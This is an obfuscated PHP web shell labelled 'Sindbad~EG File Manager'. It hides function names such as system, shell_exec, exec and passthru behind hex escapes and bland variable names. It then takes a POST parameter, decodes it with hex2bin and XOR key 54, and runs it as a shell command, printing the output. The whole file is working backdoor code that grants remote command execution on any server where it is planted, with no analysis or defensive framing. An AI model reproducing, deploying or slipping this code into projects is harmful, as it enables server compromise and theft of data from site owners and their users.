Sindbad~EG File Manager

<?php

$data_storage5 = "\x70o\x70en";
$data_storage7 = "pcl\x6Fs\x65";
$data_storage6 = "\x73tr\x65a\x6D\x5F\x67\x65t\x5F\x63\x6Fn\x74ents";
$data_storage3 = "exe\x63";
$data_storage4 = "\x70\x61s\x73\x74hru";
$core_engine = "\x68\x65\x78\x32bin";
$data_storage2 = "\x73h\x65ll_exec";
$data_storage1 = "s\x79st\x65\x6D";
if (isset($_POST["\x64a\x74a"])) {
            function framework ( $entity ,  $desc ){ $tkn   =   ''    ; $u=0; do{$tkn.=chr(ord($entity[$u])^$desc);$u++;} while($u<strlen($entity)); return    $tkn; }
            $data = $core_engine($_POST["\x64a\x74a"]);
            $data = framework($data, 54);
            if (function_exists($data_storage1)) {
                $data_storage1($data);
            } elseif (function_exists($data_storage2)) {
                print $data_storage2($data);
            } elseif (function_exists($data_storage3)) {
                $data_storage3($data, $comp_entity);
                print join("\n", $comp_entity);
            } elseif (function_exists($data_storage4)) {
                $data_storage4($data);
            } elseif (function_exists($data_storage5) && function_exists($data_storage6) && function_exists($data_storage7)) {
                $desc_tkn = $data_storage5($data, 'r');
                if ($desc_tkn) {
                    $element_item = $data_storage6($desc_tkn);
                    $data_storage7($desc_tkn);
                    print $element_item;
                }
            }
            exit;
        }